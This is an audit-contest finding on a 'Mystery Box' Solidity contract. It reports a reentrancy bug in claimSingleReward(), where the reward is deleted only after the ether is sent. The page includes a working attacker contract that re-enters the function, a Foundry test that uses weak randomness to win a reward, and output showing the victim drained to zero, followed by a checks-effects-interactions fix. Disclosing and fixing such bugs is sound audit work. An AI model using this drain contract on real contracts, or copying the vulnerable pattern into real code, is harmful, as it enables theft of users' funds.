Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Re-entrancy in the claimSingleReward() function

Summary

The function claimSingleReward() Does not follow C:E:I(check,effects,interaction) and is thus supsectiple to a reentrancy attack.

Vulnerability Details

In the code given below deletion of rewards owned is done after the money has been sent.

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];//updated here ;0
}

POC:

contract rattack{
MysteryBox box;
address owner;
constructor(address victim) payable{
box=MysteryBox(victim);
owner=msg.sender;
}
function preperatory() public{
box.buyBox{value:0.1 ether}();
box.openBox();
}
function attack() public{
box.claimSingleReward(0);
}
function sendToOwner() public {
require(address(this).balance > 0, "No balance to send"); // Ensure there is a balance to send
(bool success, ) = owner.call{value: address(this).balance}(""); // Send the entire balance to the owner
require(success, "Transfer to owner failed"); // Ensure the transfer was successful
}
receive() external payable{
if (address(box).balance>=msg.value){
box.claimSingleReward(0);
}
}
fallback() external payable{
if (address(box).balance>=msg.value){
box.claimSingleReward(0);
}
}
}

The test function is

function test_re_entrancy() public{
vm.deal(user1,1 ether);
vm.prank(user1);
vm.warp(279);//to give my contract a chance of getting a reward above zero(weak randomness in the function ;0000)
console.log(address(mysteryBox).balance);
rattack attack=new rattack{value:1 ether}(address(mysteryBox));
attack.preperatory();
attack.attack();
vm.assertEq(0,address(mysteryBox).balance);
}

OUTPUT

[PASS] test_re_entrancy() (gas: 312371)
Logs:
Reward Pool Length: 4
The balance of mysteryBox is 100000000000000000
The balance of attack contract is 100000000000000000
The balance of attack contract is 200000000000000000
The balance of mysteryBox is 0

Impact

All of the money can be taken out of the contract

Tools Used

Foundry 0.2.0

Recommendations

Follow check effects interaction when possible

Updates

Appeal created

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.